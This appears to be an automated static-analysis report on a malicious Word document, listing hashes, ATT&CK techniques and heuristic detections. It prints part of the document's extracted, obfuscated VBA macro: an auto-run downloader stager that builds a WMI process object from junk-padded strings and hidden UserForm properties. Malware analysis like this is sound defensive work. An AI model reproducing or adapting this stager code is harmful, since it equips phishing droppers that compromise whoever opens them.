Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 403175e425e2a4c0…

MALICIOUS

Office (OLE)

236.9 KB Created: 2020-08-17 23:36:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 12692efb80d7b1525df9319871ffc2b7 SHA-1: 0dc1e17582f43c789c227967b7f0c9bdca8d0dbb SHA-256: 403175e425e2a4c0eedf4b7a5fee64bdcb3b6e6929a1aea63dbda7f9a84e8086
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden-property command stager, which are indicative of malicious intent. The presence of these elements suggests the macro is designed to execute arbitrary code, likely to download and run a second-stage payload. The ClamAV detection further supports its malicious classification.

Heuristics 7

  • ClamAV: Doc.Malware.Evbj-9371581-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Evbj-9371581-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9951 bytes
SHA-256: bf220e99ed3a7f36817048e1da45c5640fb16c8a74cc1ec340a9a89529dc2379
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Qvm4cbshth_ggd9"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Msf78azdqi3x5.W38xkezck0568
End Sub


Attribute VB_Name = "Msf78azdqi3x5"
Attribute VB_Base = "0{FC499153-2AF2-4237-8DF3-186E7F87D1C4}{C7332500-D85C-4A28-BDC7-3781ED064D32}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function W38xkezck0568()
   If 791639 <> 777579 Then
Wwnskpjc_z6p = 791639 + 1989
Uyhtb32qnjq23m9 = 777579 - 2013
Else
InputBox (CStr(Wwnskpjc_z6p) & CStr(Uyhtb32qnjq23m9))
End If
Uyhtb32qnjq23m9 = "KAjamLNcTV"
Jhufjqqqfljd = 623691
Jwajjdjsfuzm6hrq13 = Jwajjdjsfuzm6hrq13 & CStr(Jhufjqqqfljd)
Grwo45zxxp75_h = Jwajjdjsfuzm6hrq13
X1xx442p9ykp7_f = Msf78azdqi3x5.HelpContextId + 100
   If 791639 <> 777579 Then
Wwnskpjc_z6p = 791639 + 1989
Uyhtb32qnjq23m9 = 777579 - 2013
Else
InputBox (CStr(Wwnskpjc_z6p) & CStr(Uyhtb32qnjq23m9))
End If
Uyhtb32qnjq23m9 = "KAjamLNcTV"
Jhufjqqqfljd = 623691
Jwajjdjsfuzm6hrq13 = Jwajjdjsfuzm6hrq13 & CStr(Jhufjqqqfljd)
Grwo45zxxp75_h = Jwajjdjsfuzm6hrq13
G8ph5m48vz48 = ChrW(X1xx442p9ykp7_f + (100 + 35) / 9)
   If 791639 <> 777579 Then
Wwnskpjc_z6p = 791639 + 1989
Uyhtb32qnjq23m9 = 777579 - 2013
Else
InputBox (CStr(Wwnskpjc_z6p) & CStr(Uyhtb32qnjq23m9))
End If
Uyhtb32qnjq23m9 = "KAjamLNcTV"
Jhufjqqqfljd = 623691
Jwajjdjsfuzm6hrq13 = Jwajjdjsfuzm6hrq13 & CStr(Jhufjqqqfljd)
Grwo45zxxp75_h = Jwajjdjsfuzm6hrq13
Dil22z50u4t = "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2si8[2[23bjgas ooo82&jhsb uqgw[[[ww2snm8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sgm8[2[23bjgas ooo82&jhsb uqgw[[[ww2st8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + G8ph5m48vz48 + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s:8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2sin8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s38[2[23bjgas ooo82&jhsb uqgw[[[ww2s28[2[23bjgas ooo82&jhsb uqgw[[[ww2s_8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Msf78azdqi3x5.K2pqvqkdti7am + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2sro8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sce8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2s"
   If 791639 <> 777579 Then
Wwnskpjc_z6p = 791639 + 1989
Uyhtb32qnjq23m9 = 777579 - 2013
Else
InputBox (CStr(Wwnskpjc_z6p) & CStr(Uyhtb32qnjq23m9))
End If
Uyhtb32qnjq23m9 = "KAjamLNcTV"
Jhufjqqqfljd = 623691
Jwajjdjsfuzm6hrq13 = Jwajjdjsfuzm6hrq13 & CStr(Jhufjqqqfljd)
Grwo45zxxp75_h = Jwajjdjsfuzm6hrq13
S5xr6umhnjhhnngz = Mqmgco0_hwed7(Dil22z50u4t)
   If 791639 <> 777579 Then
Wwnskpjc_z6p = 791639 + 1989
Uyhtb32qnjq23m9 = 777579 - 2013
Else
InputBox (CStr(Wwnskpjc_z6p) & CStr(Uyhtb32qnjq23m9))
End If
Uyhtb32qnjq23m9 = "KAjamLNcTV"
Jhufjqqqfljd = 623691
Jwajjdjsfuzm6hrq13 = Jwajjdjsfuzm6hrq13 & CStr(Jhufjqqqfljd)
Grwo45zxxp75_h = Jwajjdjsfuzm6hrq13
Set Dkc8gh2a7su8s46o = CreateObject(S5xr6umhnjhhnngz)
   If 791639 <> 777579 Then
Wwnskpjc_z6p = 791639 + 1989
Uyhtb32qnjq23m9 = 777579 - 2013
Else
InputBox (CStr(Wwnskpjc_z6p) & CStr(Uyhtb32qnjq23m9))
End If
Uyhtb32qnjq23m9 = "KAjamLNcTV"
Jhufjqqqfljd = 623691
Jwajjdjsfuzm6hrq13 = Jwajjdjsfuzm6hrq13 & CStr(Jhufjqqqfljd)
Grwo45zxxp75_h = Jwajjdjsfuzm6hrq13
Qw9gjylh3x_wn_0dd6 = Msf78azdqi3x5.Fetszr7taryzmg.ControlTipText
   If 791639 <> 777579 Then
Wwnskpjc_z6p = 791639 + 1989
Uyhtb32qnjq23m9 = 777579 - 2013
Else
InputBox (CStr(Wwnskpjc_z6p) & CStr(Uyhtb32qnjq23m9))
End If
Uyhtb32qnjq23m9 = "KAjamLNcTV"
Jhufjqqqfljd = 623691
Jwajjdjsfuzm6hrq13 = Jwajjdjsfuzm6hrq13 & CStr(Jhufjqqqfljd)
Grwo45zxxp
... (truncated)

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